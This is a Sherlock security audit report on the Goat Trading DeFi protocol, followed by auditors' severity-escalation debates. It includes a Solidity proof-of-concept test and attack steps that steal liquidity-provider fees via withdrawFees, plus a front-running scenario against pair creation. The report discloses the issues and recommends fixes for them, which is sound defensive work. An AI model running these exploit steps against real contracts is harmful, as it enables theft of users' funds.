SHERLOCK

SHERLOCK SECURITY REVIEW FOR

Prepared for: Goat Trading
Prepared by: Sherlock
Lead Security Expert: zzykxx
Dates Audited: March 25 - March 31, 2024
Prepared on: April 25, 2024

Introduction

Goat Trading is a protocol developed by the Inedible community and inspired by problems faced daily by users and teams alike allowing teams to bootstrap their liquidity pools so no matching Ether is required to launch a pool.

Scope

Repository: inedibleX/goat-trading

Branch: main

Commit: 4f37c8edf9715c719143a70cc4f63fb92cb2abba

For the detailed scope, see the contest details.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues found

Medium	High
6	1

Issues not fixed or acknowledged

Medium	High
0	0

Issue H-1: Liquidity provider fees can be stolen from any pair

Source: https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/63

Found by

AhmedAdam, C1rdan, zzykxx

Summary

An attacker can steal the liquidiy providers fees by transfering liquidity tokens to the pair and then withdrawing fees on behalf of the pair itself.

Vulnerability Detail

This is possible because of two reasons:

1. Transfering liquidity tokens to the pair itself doesn't update the fee tracking variables:

```
if (to != address(this)) {
    _updateFeeRewards(to);
}
```

which results in the variable `feesPerTokenPaid[address(pair)]` of the pair being equal to 0.

2. The function withdrawFees() is a permissionless function that allows to withdraw fees on behalf of any address, including the pair itself.

By combining this two quirks of the codebase an attacker can steal all of the currently pending liquidity provider fees by doing the following:

1. Add liquidity to a pair, which will mint the attacker some liquidity tokens
2. Transfer the liquidity tokens to the pair directly
3. Call withdrawFees() by passing the address of the pair. Because `feesPerTokenPaid[address(pair)]` is 0 this will collect fees on behalf of the pair even if it shouldn't. The function will transfer an amount `x` of WETH from the pair to the pair itself and will lower the _pendingLiquidityFee variable by that same amount
4. Because the variable `_pendingLiquidityFee` has been lowered by `x` the pool will assume someone transferred `x` WETH to it

5. At this point the attacker can take advantage of this however he likes, but for the sake of the example let's suppose he calls swap() to swap `x` ETH into tokens that will be transferred to his wallet
6. The attacker burns the liquidity transferred at point `2` to recover his funds

POC

```
function testStealFees() public {
    GoatTypes.InitParams memory initParams;
    initParams.virtualEth = 10e18;
    initParams.initialEth = 10e18;
    initParams.initialTokenMatch = 10e18;
    initParams.bootstrapEth = 10e18;

    address pairAddress = factory.createPair(address(goat), initParams);
    address to = users.lp;

    //-> The following block of code:
    //  1. Creates a pool and immediately converts it into AMM
    //  2. Skips 31 days to skip the vesting period
    //  3. Simulates users using the pool by performing a bunch of swaps
    {
        //-> 1. A pair is created and immediately converted to an AMM
        (uint256 tokenAmtForPresale, uint256 tokenAmtForAmm) =
↪   GoatLibrary.getTokenAmountsForPresaleAndAmm(
            initParams.virtualEth, initParams.bootstrapEth,
↪   initParams.initialEth, initParams.initialTokenMatch
        );
        uint256 bootstrapTokenAmt = tokenAmtForPresale + tokenAmtForAmm;

        _fundMe(IERC20(address(goat)), to, bootstrapTokenAmt);
        _fundMe(IERC20(address(weth)), to, initParams.initialEth);
        vm.startPrank(to);

        goat.transfer(pairAddress, bootstrapTokenAmt);
        weth.transfer(pairAddress, initParams.initialEth);
        pair = GoatV1Pair(pairAddress);
        pair.mint(to);
        vm.stopPrank();

        //-> 2. Skips 31 days to skip the vesting period
        skip(31 days);

        //-> 3. Simulates users using the pool by performing a bunch of swaps
        uint256 reserveEth = 0;
```

```
        uint256 reserveToken = 0;
        _fundMe(IERC20(address(goat)), to, 100e18);
        _fundMe(IERC20(address(weth)), to, 100e18);
        for(uint256 i; i < 100; i++) {
            (reserveEth, reserveToken) = pair.getReserves();
            uint256 wethIn = 1e18;
            uint256 goatOut = GoatLibrary.getTokenAmountOutAmm(wethIn,
↪   reserveEth, reserveToken);
            vm.startPrank(to);
            weth.transfer(address(pair), wethIn);
            pair.swap(goatOut, 0, to);
            vm.stopPrank();

            skip(3); //Avoid MEV restrictions

            (reserveEth, reserveToken) = pair.getReserves();
            uint256 goatIn = 1e18;
            uint256 wethOut = GoatLibrary.getWethAmountOutAmm(wethIn,
↪   reserveEth, reserveToken);
            vm.startPrank(to);
            goat.transfer(address(pair), goatIn);
            pair.swap(0, wethOut, to);
            vm.stopPrank();
        }
    }

    //-> The pool has some pending liquidity fees
    uint256 pendingLiquidityFeesBefore = pair.getPendingLiquidityFees();
    assertEq(pendingLiquidityFeesBefore, 809840958520307912);

    //-> The attacker adds liquidity to the pool
    address attacker = makeAddr("attacker");
    (uint256 reserveEth, uint256 reserveToken) = pair.getReserves();
    uint256 initialGoatAmount = 5.54e18;
    uint256 initialWethAmount = GoatLibrary.quote(initialGoatAmount,
↪   reserveToken, reserveEth);
    _fundMe(IERC20(address(goat)), attacker, initialGoatAmount);
    _fundMe(IERC20(address(weth)), attacker, initialWethAmount);
    vm.startPrank(attacker);
    goat.transfer(pairAddress, initialGoatAmount);
    weth.transfer(pairAddress, initialWethAmount);
    pair.mint(address(attacker));
    vm.stopPrank();

    //-> Two days needs to be skipped to avoid locking time
    skip(2 days);
```

```
    //-> The attacker does the following:
    //  -> 1. Transfers the liquidity tokens to the pair
    //  -> 2. Calls `withdrawFees()` on behalf of the pair which will lower
↪   `getPendingLiquidityFees` variables and transfers WETH from the pool to the
↪   pool
    //  -> 3. Swaps the excess WETH in the pool to GOAT tokens
    //  -> 4. Burns the liquidity he previously transferred to the pair
    //  -> 5. The attacker profits and LP lose their fees
    {
        vm.startPrank(attacker);

        //-> 1. Transfers the liquidity tokens to the pair
        pair.transfer(address(pair), pair.balanceOf(attacker));

        //-> 2. Calls `withdrawFees()` on behalf of the pair
        pair.withdrawFees(address(pair));

        //-> An extra amount of WETH equal to the fees withdrawn on behalf of
↪   the pool is now in the pool
        uint256 pendingLiquidityFeesAfter = pair.getPendingLiquidityFees();
        (uint256 reserveEthCurrent, uint256 reserveTokenCurrent) =
↪   pair.getReserves();
        uint256 extraWethInPool = weth.balanceOf(address(pair)) -
↪   reserveEthCurrent - pair.getPendingLiquidityFees() -
↪   pair.getPendingProtocolFees();
        assertEq(pendingLiquidityFeesBefore - pendingLiquidityFeesAfter,
↪   extraWethInPool);

        //-> 3. Swaps the excess WETH in the pool to GOAT tokens
        uint256 goatOut = GoatLibrary.getTokenAmountOutAmm(extraWethInPool,
↪   reserveEthCurrent, reserveTokenCurrent);
        pair.swap(goatOut, 0, attacker);

        //-> 4. Burns the liquidity he previously transferred to the pair
        pair.burn(attacker);

        //-> 5. The attacker profits and LP lose their fees
        uint256 attackerWethProfit = weth.balanceOf(attacker) -
↪   initialWethAmount;
        uint256 attackerGoatProfit = goat.balanceOf(attacker) -
↪   initialGoatAmount;
        assertEq(attackerWethProfit, 399855575210658419);
        assertEq(attackerGoatProfit, 453187161321825804);

        vm.stopPrank();
    }
}
```

Impact

Liquidity provider fees can be stolen from any pair.

Code Snippet

Tool used

Manual Review

Recommendation

In withdrawFees(pair) add a require statement to prevent fees being withdrawn on behalf of the pool.

```
require(to != address(this));
```

Discussion

adamidarrha

This issue warrants a HIGH severity rating. It demonstrates how any liquidity provider can siphon fees intended for all other liquidity providers. This aligns with the Sherlock Docs criteria for a HIGH issue:

1. Definite loss of funds without (extensive) limitations of external conditions:

- The exploit clearly results in the theft of LP fees, with the only requirement being that the attacker holds a portion of the total LP tokens. this doesn't result in any loss for the hacker, and he can do it for any new fees aquired.

3. Inflicts serious non-material losses (doesn't include contract simply not working):

- While the core functionality of the protocol may remain intact, the loss of fees represents a significant financial loss for LPs.

the POC in C1rdan - hacker can steal fee from LPs #25 clearly demonstrates that any LP token holder can steal fees from all other LPs. This constitutes a direct loss of funds and should be classified as a HIGH severity issue according to Sherlock guidelines.

Proof Of Concept here a modified verssion C1rdan POC to show an attacker can steal all fees and not just a portion:

1. Attacker deposits liquidity, acquiring 50% of LP tokens.
2. Initial liquidity provider holds the remaining 50% of LP tokens.
3. Swaps are simulated, generating fees for all LP holders

Attack Sequence:

1. Initial Check: Both the attacker and the initial LP have unclaimed fees.
2. Attacker Withdraws: Attacker withdraws their earned fees.
3. Attacker transfers to the vault his entire balance
4. Fees Stolen: Attacker calls withdrawFees on the pair, claiming the accumulated fees and reducing the _pendingLiquidityFees balance.
5. attacker burns the liquidity he transfered to the pair.
6. attacker swaps the Eth that was gotten from ther liquidity providers fees, and claimed by the pool
7. When the initial LP attempts to withdraw fees, the transaction reverts due to insufficient _pendingLiquidityFees

- as this scenario shows any liquidity provider with a portion of LPTokens can steal all the fees of other LP's.

the output logs:

```
the LPToken balance of the inital LP 4999 BPS
the LPToken balance of the hacker 5000 BPS


the fees unclaimed by the initial LP: 1979999999999999
fees unclaimed by hacker: 1980000000000000

fee received by hacker: 1980000000000000

amount of pending liquidity fees: 1980000000000000

fees unclaimed by the pair: 1980000000000000
amount of pending liquidity fees after withdrawing fees by the pair 0

hacker token balance before: 100000000000000000000
hacker weth balance before: 1001980000000000000
hacker token balance after swap: 100044491256996732169
hacker weth balance after swap: 1001980000000000000
```

make this issue a high severity.

zzykxx

Escalate

This should be high severity. The POC in my report shows an attacker stealing all currently pending fees from a pool. @adamidarrha also explains why this should be high severity according to the rules.

sherlock-admin2

> Escalate
>
> This should be high severity. The POC in my report shows an attacker stealing all currently pending fees from a pool. @adamidarrha also explains why this should be high severity according to the rules.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

RobertMCForster

This is confirmed as a high severity bug.

cvetanovv

For me, this issue is borderline High/Medium, but I don't think stealing a fee can be High. The values in the example are strongly exaggerated. Most likely, even with minimal accumulation, they will be immediately withdrawn.

Evert0x

I believe it should by High severity as the following description applies

> Definite loss of funds without (extensive) limitations of external conditions.

Planning to accept escalation and make High severity

ahmedAdam1337

@cvetanovv the issue describes how a liquidity provider can basically gain double his rewards. for example if he had 5% of lpTokens he should get 5% of the rewards, but with this attack path he would be able to get 10%, and it can be done again and again and not just one time, the example we gave is about a lp with 50% can basically gain 100% of the rewards leaving nothing to other lp's.

1. 'I don't think stealing a fee can be High': it's not stealing fees , it's stealing all rewards accrued to liquidity providers, the sole purpose of providing liquidity

in a dex pool is to get the swap fees, if lp's dont get their fees they withdraw their liquidity ,no liquidity no swaps.

2. 'The values in the example are strongly exaggerated': the examples provided are with a user holding 50% of lpTokens , which is not unrealistic nor exagerated, but the attack can be carried on with any % of lpTokens.
3. 'Most likely, even with minimal accumulation, they will be immediately withdrawn': fees are gotten from swaps which can happen anytime, lp's arent going to be just withdrawing fees whenever a swap happens. the attacker can also do this attack whenever because it's a 4 step attack (withdrawFees -> transfer lp tokens to vault -> burn tokens (swap) if any left to get out the rewards).

this is why i think it should be a high.

Evert0x

Result: High Has Duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- zzykxx: accepted

FastTiger777

I think this is medium. As the following language fits the impact the best.

> V. How to identify a medium issue: Breaks core contract functionality, rendering the contract useless or leading to loss of funds.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/inedibleX/goat-trading/pull/5

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-1: Some unusual problems arise in the use of the `GoatV1Factory.sol#createPair()` function.

Source:
https://github.com/sherlock-audit/2024-03-goat-trading-judging/issues/18

Found by

FastTiger

Summary

If you create a new pool for tokens and add liquidity using the `GoatRouterV1.sol#addLiquidity()` function, the bootstrap function of the protocol is broken. Therefore, an attacker can perform the front running attack on the `GoatRouterV1.sol#addLiquidity()` function by front calling `GoatV1Factory.sol#createPair()`.

Vulnerability Detail

If a pool for the token does not exist, the LP can create a new pool using the `GoatV1Factory.sol#createPair()` function. Next he calls `GoatRouterV1.sol#addLiquidity()` to provide liquidity. At this time, the amount of WETH and ERC20Token provided to the pool is calculated in the `GoatRouterV1.sol#_addLiquidity()` function.

```
    function _addLiquidity(
        address token,
        uint256 tokenDesired,
        uint256 wethDesired,
        uint256 tokenMin,
        uint256 wethMin,
        GoatTypes.InitParams memory initParams
    ) internal returns (uint256, uint256, bool) {
        GoatTypes.LocalVariables_AddLiquidity memory vars;
        GoatV1Pair pair = GoatV1Pair(GoatV1Factory(FACTORY).getPool(token));
        if (address(pair) == address(0)) {
            // First time liquidity provider
            pair = GoatV1Pair(GoatV1Factory(FACTORY).createPair(token,
↪   initParams));
            vars.isNewPair = true;
        }

        if (vars.isNewPair) {
...SNIP
```

```
        } else {
            /**
             * @dev This block is accessed after the presale period is over and
 ↪  the pool is converted to AMM
             */
250:        (uint256 wethReserve, uint256 tokenReserve) = pair.getReserves();
251:        uint256 tokenAmountOptimal = GoatLibrary.quote(wethDesired,
 ↪  wethReserve, tokenReserve);
252:        if (tokenAmountOptimal <= tokenDesired) {
253:            if (tokenAmountOptimal < tokenMin) {
254:                revert GoatErrors.InsufficientTokenAmount();
255:            }
256:            (vars.tokenAmount, vars.wethAmount) = (tokenAmountOptimal,
 ↪  wethDesired);
257:        } else {
258:            uint256 wethAmountOptimal = GoatLibrary.quote(tokenDesired,
 ↪  tokenReserve, wethReserve);
259:            assert(wethAmountOptimal <= wethDesired);
260:            if (wethAmountOptimal < wethMin) revert
 ↪  GoatErrors.InsufficientWethAmount();
261:            (vars.tokenAmount, vars.wethAmount) = (tokenDesired,
 ↪  wethAmountOptimal);
262:        }
263:    }
264:    return (vars.tokenAmount, vars.wethAmount, vars.isNewPair);
    }
```

For simplicity, let's only consider from #L250 to #L256.

L250:wethReserve = virtualEth, tokenReserve = initialTokenMatch - (initialTokenMatch - ((virtualEth * initialTokenMatch)/(virtualEth + bootstrapEth)) + + (virtualEth*initialTokenMatch*bootstrapEth)/(virtualEth + bootstrapEth) ^ 2) = = ((virtualEth * initialTokenMatch)/(virtualEth + bootstrapEth)) - (virtualEth*initialTokenMatch*bootstrapEth)/(virtualEth + bootstrapEth) ^ 2
L251:tokenAmountOptimal = wethDesired * wethReserve / tokenReserve
vars.tokenAmount = tokenAmountOptimal vars.wethAmount = wethDesired

At this time, At this time, the calculated balance of ETH and token is sent to the pool, and `GoatV1Pair(vars.pair).mint()` is called in the `GoatRouterV1.sol#addLiquidity()` function.

```
    function addLiquidity(
        address token,
        uint256 tokenDesired,
        uint256 wethDesired,
        uint256 tokenMin,
        uint256 wethMin,
```

```
        address to,
        uint256 deadline,
        GoatTypes.InitParams memory initParams
    ) external nonReentrant ensure(deadline) returns (uint256, uint256, uint256)
↪   {
...SNIP
65:     IERC20(vars.token).safeTransferFrom(msg.sender, vars.pair,
↪   vars.actualTokenAmount);
66:     if (vars.wethAmount != 0) {
67:         IERC20(WETH).safeTransferFrom(msg.sender, vars.pair,
↪   vars.wethAmount);
68:     }
69:     vars.liquidity = GoatV1Pair(vars.pair).mint(to);
...SNIP
    }
```

Next, the `GoatV1Pair(vars.pair).mint()` function checks the validity of the transmitted token.

```
    function mint(address to) external nonReentrant returns (uint256 liquidity) {
    ...SNIP
        if (_vestingUntil == _MAX_UINT32) {
            // Do not allow to add liquidity in presale period
            if (totalSupply_ > 0) revert GoatErrors.PresalePeriod();
            // don't allow to send more eth than bootstrap eth
            if (balanceEth > mintVars.bootstrapEth) {
                revert GoatErrors.SupplyMoreThanBootstrapEth();
            }

            if (balanceEth < mintVars.bootstrapEth) {
                (uint256 tokenAmtForPresale, uint256 tokenAmtForAmm) =
↪   _tokenAmountsForLiquidityBootstrap(
                    mintVars.virtualEth, mintVars.bootstrapEth, balanceEth,
↪   mintVars.initialTokenMatch
                );
139:            if (balanceToken != (tokenAmtForPresale + tokenAmtForAmm)) {
                    revert GoatErrors.InsufficientTokenAmount();
                }
                liquidity =
                    Math.sqrt(uint256(mintVars.virtualEth) *
↪   uint256(mintVars.initialTokenMatch)) - MINIMUM_LIQUIDITY;
            } else {
                // This means that user is willing to make this pool an amm pool
↪   in first liquidity mint
146:            liquidity = Math.sqrt(balanceEth * balanceToken) -
↪   MINIMUM_LIQUIDITY;
```

```
147:             uint32 timestamp = uint32(block.timestamp);
148:             _vestingUntil = timestamp + VESTING_PERIOD;
            }
            mintVars.isFirstMint = true;
        }
    ...SNIP
    }
```

In here, `balanceToken = vars.tokenAmount (value:tokenAmountOptimal)` and `tokenAmtForPresale + tokenAmtForAmm` is calculated follows.

tokenAmtForPresale = initialTokenMatch - (virtualEth * initialTokenMatch / (virtualEth + bootstrapEth)) - - (balanceEth(value:wethDesired)*initialTokenMatch/(virtualEth+balanceEth)) tokenAmtForAmm = (virtualEth * initialTokenMatch * bootstrapEth) / (virtualEth + bootstrapEth) ^ 2

As a result, `(balanceToken != (tokenAmtForPresale + tokenAmtForAmm)) == true`, the `GoatRouterV1.sol#addLiquidity()` function is reverted. In this case, If the initial LP want to provide liquidity to the pool, he must pay an amount of WETH equivalent to bootstrapEth to execute #L146. As a result, the bootstrap function is broken.

Based on this fact, an attacker can front run the `createPair()` function if he finds the `addLiquidity()` function in the mempool.

Impact

The bootstrap function of the protocol is broken and the initial LP must pay an amount of WETH equivalent to bootstrapEth.

Code Snippet

https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Factory.sol#L33 https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/periphery/GoatRouterV1.sol#L51 https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/periphery/GoatRouterV1.sol#L287 https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/periphery/GoatRouterV1.sol#L233 https://github.com/sherlock-audit/2024-03-goat-trading/blob/main/goat-trading/contracts/exchange/GoatV1Pair.sol#L139-L141

Tool used

Manual Review

Recommendation

It is recommended that the `GoatV1Factory.sol#.createPair()` function be called only from the `GoatRouterV1` contract.

Discussion

kennedy1030

I think that this issue should be seen as a user mistake. If a user is going to create pair and add some liquidity, he has to use the GoatRouterV1.addLiquidity(), not the GoatV1Factory.sol#createPair(). The first minter has to set the first 4 parameters of GoatRouterV1.addLiquidity() as 0. If so, this front running attack can do nothing. I think that this issue should be seen as invalid, because the correct use of GoatRouterV1 can prevent this attack. So, I think that this one could be seen as a user mistake.

FastTiger777

In #L139 of `GoatV1Pair.sol`, `(balanceToken != (tokenAmtForPresale + tokenAmtForAmm)) == true` because `(tokenAmtForPresale + tokenAmtForAmm)` is calculated the parameters of `createPair()` function. Therefore, this is not a user mistake.

kennedy1030

However, a normal user would use the GoatRouterV1.addLiquidity(), not the GoatV1Factory.sol#createPair(). Then, nothing would happen.

zzykxx

Escalate

Out of scope. It's known that attackers can frontrun a pair creation, this is why the function `takeOverPool()` exists in the first place.

sherlock-admin2

> Escalate
>
> Out of scope. It's known that attackers can frontrun a pair creation, this is why the function `takeOverPool()` exists in the first place.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

FastTiger777

However, the takeOverPool() function is not enough to completely prevent the attacker's preemption attack, and the loss of initial LP due to the attack still exists. As @zzykxx said, if the takeOverPool() function is to prevent an attacker's attack, the attacker's attack cannot be prevented unless the takeOverPool() function is always called within the same transaction.

FastTiger777

Additionally, even if a user takes over a pool using takeOverPool(), there will still be the loss of fund of the initial LP due to #L139.

cvetanovv

I disagree with the escalation. Nowhere do I see front-run a pair creation as a known issue. But even if we assume that `takeOverPool()` is for this then Watson has shown a valid attack vector.

F01ivor4

I think this is not high.

FastTiger777

In this case, I think it should be considered high because the initial LP must pay an amount of ETH equivalent to bootstrap ETH when adding liquidity, which damages the bootstrap function of the protocol and causes a loss of funds for the initial LP.

Evert0x

> It's known that attackers can frontrun a pair creation

I don't see this mentioned as a known issue. That's why I believe the escalation should be rejected and the issue should stay as is.

zzykxx

Maybe I'm missing something? The function `takeOverPool()` exists for the exact purpose of taking back control of pools that an attacker created before a team, here's the comment. Given the devs implemented the `takeOverPool()` function for this reason, how is this not a known issue?

FastTiger777

What I mean is that although takeOverPool() is used to restore the pool, the main point is that the initial liquidity provider loses funds and destroys the bootstrap function of the protocol. Therefore I think this issue is valid.

kennedy1030

I believe this issue should be considered a user mistake. If a user creates a pair with the `GoatRouterV1`, no action will occur. Front running could only occur when a user attempts to create a pair without a router. Since most users will use the

`GoatRouterV1` to create pairs, I consider this to be a user mistake and classify it as a medium-security issue at most.

FastTiger777

I think front running is not the mistake of the user and it is intentional attack of the attacker. The attacker create the pool intentionally before addLiquiditi() function is called. At this time, the user calls takeOverPool() to take over the pool, but user pay an amount of ETH equivalent to bootstrap ETH to provide liquidities. This is a clear destruction of the protocol's bootstrap functionality.

kennedy1030

However, if all users create pairs with the GoatRouterV1, front running cannot occur. The recommendation also states, "GoatV1Factory.sol#.createPair() function should be called only from the GoatRouterV1 contract." This implies that all users must create pairs with the GoatRouterV1. Furthermore, it means that if all users adhere to this rule, no issues should arise. In this sense, I believe the recommendation also acknowledges that this issue is rooted in user mistake.

FastTiger777

@zzykxx , could you please look at the comment of the takeOverPool()? takeOverPool() is used to take over the pool when the malicious actors set the unfavoral initial conditions. So the action of users that create the pool by using router is also involved in here. So I think this is not known issue.

FastTiger777

Hi @kennedy1030 , the attacker creates the pool before the user calls addLiquidity() function of Router. So the front running attack is existed surely. Refer this.

> Based on this fact, an attacker can front run the createPair() function if he finds the addLiquidity() function in the mempool.

kennedy1030

I cannot understand why this issue could be a valid high severity. I think that the impact is not high severity. It cannot lead to loss of funds.

FastTiger777

In my report, I clearly stated the attacker's front running attack.

FastTiger777

> I cannot understand why this issue could be a valid high severity. I think that the impact is not high severity. It cannot lead to loss of funds.

Because the initial LP losses the fund. The point of the bootstrap feature is that LPs can provide liquidity even without a sufficient amount of ETH. However, due to the

attack, the initial LP must pay an amount of ETH equivalent to the bootstrap ETH, so this is an obvious loss of funds.

kennedy1030

I have read it. But the front running attack can do nothing, if user create a pair with GoatRouterV1.sol#_addLiquidity() and set the first 4 parameters as 0s. The first 4 parameters have no meaning in the initial LP, so the initial LP must set the first 4 parameters as 0s and all the test set them as 0s. Then the initial LP would lose nothing. You can check it. Could you submit valid POC? This issue assumed that the first 4 parameters as non-zeros. So, I believe that this issue should be seen as user mistake.

FastTiger777

> I have read it. But the front running attack can do nothing, if user create a pair with GoatRouterV1.sol#_addLiquidity() and set the first 4 parameters as 0s. The first 4 parameters have no meaning in the initial LP, so the initial LP must set the first 4 parameters as 0s and all the test set them as 0s. Then the initial LP would lose nothing. You can check it. Could you submit valid POC? This issue assumed that the first 4 parameters as non-zeros. So, I believe that this issue should be seen as user mistake.

This is the purpose of the takeOverPool() function that @zzykxx mentions. Setting the four parameters to 0 should be considered a malicious action by the user thoroughly. This is because it may result in protocol interruption due to potential DOS.

kennedy1030

I mean the from 2nd to 5th parameters of addLiquidity(). That is, `tokenDesired`, `wethDesired`, `tokenMin`,`wethMin`. Setting them to 0s is not a malicious action. It is a normal action for the initial LP. Because they have no meaning for the initial LP. This is the example code of BaseTest.t.sol. From 2nd to 5th parameters of addLiquidity() are set as 0s for the initial LP.

```
function addLiquidityParams(bool initial, bool sendInitWeth) public returns
↪  (AddLiquidityParams memory) {
        weth.deposit{value: 100e18}();
        if (initial) {
            /* ------------------------------ SET PARAMS
↪  ------------------------------ */
            addLiqParams.token = address(token);
            addLiqParams.tokenDesired = 0;
            addLiqParams.wethDesired = 0;
            addLiqParams.tokenMin = 0;
            addLiqParams.wethMin = 0;
            addLiqParams.to = address(this);
```

```
            addLiqParams.deadline = block.timestamp + 1000;

            addLiqParams.initParams = GoatTypes.InitParams(10e18, 10e18,
↪   sendInitWeth ? 5e18 : 0, 1000e18);
        } else {
            addLiqParams.token = address(token);
            addLiqParams.tokenDesired = 100e18;
            addLiqParams.wethDesired = 1e18;
            addLiqParams.tokenMin = 0;
            addLiqParams.wethMin = 0;
            addLiqParams.to = address(this);
            addLiqParams.deadline = block.timestamp + 1000;

            addLiqParams.initParams = GoatTypes.InitParams(0, 0, 0, 0);
        }
        return addLiqParams;
    }
```

FastTiger777

> I mean the from 2nd to 5th parameters of addLiquidity(). That is, `tokenDesired`, `wethDesired`, `tokenMin`,`wethMin`. Setting them to 0s is not a malicious action. It is a normal action for the initial LP. Because they have no meaning for the initial LP.

In getReserve() function, DOS occurs due to division by 0. Please take a look again.

kennedy1030

It means that loss of funds for initial LP is impossible. I think that this kind of DOS could be only seen as a medium severity at most.

FastTiger777

When totalSupply=0, the liquidity provider can be the initial LP. Therefore, there is still a loss of user funds.

kennedy1030

Could you provide the valid POC? I do not believe that this attack could lead to loss of fund. And I think that the effective `takeOver` could take over the pools created by the malicious action like that,

FastTiger777

> Could you provide the valid POC? I do not believe that this attack could lead to loss of fund. And I think that the effective `takeOver` could take over the pools created by the malicious action like that,

What do you mean by effective `takeOver`, how do you set the 4 parameters? Can you explain about that?

kennedy1030

You should provide the valid POC that shows loss of fund. If not, your issue can only be seen as a DOS. `takeOver` is another problem. I think that `takeOverPool()` should be made to take over the pools created by any malicious users.

FastTiger777

when the user takes over the pool, how to set initial parameters?

kennedy1030

Do you agree that the front running attack cannot lead to loss of funds without any user mistake?

FastTiger777

No, As mentioned before, due to a front running attack, LP must pay an amount of ETH equivalent to bootstrapETH. Although the protocol states that LPs can create a pool without a sufficient amount of ETH, due to the attack, LPs must pay a corresponding amount of ETH, so this should clearly be seen as a loss of funds. And then, the front running attack is not the mistake of the user. You cannot correlate front running attacks with user error. I think you are thinking wrong.

kennedy1030

But I could not agree that this could be seen as a loss of funds. It can only be seen as a DOS. How can it be seen as loss of fund if a user can know the result before calling? So, the impact is only DOS, not loss of fund. Who would call a function when he already knows that it could lead to his loss of fund? Also, setting parameters to 0s can prevent the front running. So, I think that this front running is no any meaning. I believe that judges will make correct decision.

FastTiger777

As a result, LPs cannot add liquidity, The bootstrap function of the protocol is destroyed and serious losses are incurred. I also believe that the judges will make the right decision.

kennedy1030

I think that you'd better provide a valid POC that show the loss of funds.

FastTiger777

The sponsors also acknowledged that the bootstrap function be broken. Let's wait for the judges' decision.

Evert0x

Result: High Unique

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- zzykxx: rejected

FastTiger777

@Evert0x , @cvetanovv , thank you for your work. I would also like to thank @zzykxx and @kennedy1030 for kindly reviewing my issue.

zzykxx

@Evert0x can you please explain your decision on why this is high severity and why is it not known? Even if this is considered valid, which I still don't understand why it should be, how can it be high severity given there's no loss of funds?

There's a section about the `takeOverPool()` function and why it exists in the docs as well.

FastTiger777

This is because the bootstrap function, a core function of the protocol, is destroyed.

zzykxx

> This is because the bootstrap function, a core function of the protocol, is destroyed.

From the docs about `takeOverPool()`:

> This function exists to avoid griefing. Because only one pool can be created for each token (since we only allow a token to be matched with Weth for simplicity's sake), and that one pool has settings that could affect its performance, there are possible scenarios where a griefer starts a pool that has bad settings to block someone from creating a useful pool. The griefer could, for example, set the pool so that 1 token is worth 100 virtual Ether and they want to raise 100 Ether. No one would buy the token at this price, and the pool would never be able to turn into an unrestricted AMM.

Evert0x

It's not a known issue because it isn't listed in the known issues section of the README.

However, I believe it should actually be Medium instead of High. As the following language fits the impact the best.

> **V. How to identify a medium issue: Breaks core contract functionality**, rendering the contract useless or leading to loss of funds.

FastTiger777

As mentioned before, the bootstrap function, a core function of the protocol, is destroyed. Therefore the initial LP has to pay an amount of ETH equivalent to bootstrapETH. As a result, this leads the loss of fund of the initial LP, so I think this is considerred to high. @Evert0x , @cvetanovv , could you please check this issue again?

FastTiger777

I think it is high issue: I think this is more suitable.

> In sherlock docs IV. How to identify a high issue: Definite loss of funds without (extensive) limitations of external conditions.

@Evert0x , @cvetanovv , could you please check this issue again?

FastTiger777

Due to the bootstrap function, LPs can provide liquidity even without a sufficient amount of ETH. However, because this feature is destroyed, the initial LP has to pay more funds. This results in a loss of funds for the initial LP. Therefore, I believe that this issue should be considered high.

adamidarrha

@Evert0x @FastTiger777 @zzykxx @kennedy1030, I recommend making this issue a low severity one.

The discussion has been quite scattered, so let's focus on the main points:

1. Main Issue in Report: Watson highlighted that the `addLiquidity` function in the router reverts if initialETH is not specified as bootstrapETH. This is the only issue clearly identified in his report. and also he brushed up on frontrunning this transaction which could be done with this issue or not. Everything else was brought up in subsequent discussions.
2. Frontrunning Concern: The discussion touched on the potential for someone to frontrun a deployer of a pair by creating it themselves. However, this is a well-known scenario within the protocol. The explicit purpose of the takeOverPool function, as zzykxx pointed out, addresses this. This is not a new issue and similar issues have been raised in this contest and were invalidated. Therefore, to be impartial any discussions about frontrunning should not impact the validity of the current issue.
3. Recommendation: The recommendation by Watson states that createPair should only be called from the router, which wont solve the first issue, and it

> wont solve frontrunning , because anybody can call `GoatV1Router:addLiquidity` which calls createPair.

Given these clarifications, there is no significant impact for the issue presented by the current report, especially considering the known frontrunning strategy handled by takeOverPool. Thus, this issue should be low/informational.

FastTiger777

Hi, @adamidarrha , It seems that the discussion on the issue is quite off.

> Main Issue in Report: Watson highlighted that the addLiquidity function in the router reverts if initialETH is not specified as bootstrapETH. This is the only issue clearly identified in his report. and also he brushed up on frontrunning this transaction which could be done with this issue or not. Everything else was brought up in subsequent discussions.

The first problem you mentioned is not the basic point of the problem I raised. Also the reason the addLiquidity() function is returned is directly related to the front running attack using createPair(), and as emphasized several times before, the pool argument using takeOverPool() cannot prevent DOS that occurs in the addLiquidity() function. Additionally, the problem of designating the initial ETH as bootstrapETH that you mentioned is a feature that the protocol team is specifically trying to implement, unlike other DEXs (Uniswap, Shushiswap, etc), and is a core function of this protocol. In other words, this problem is valid because the core function of this protocol is damaged.

adamidarrha

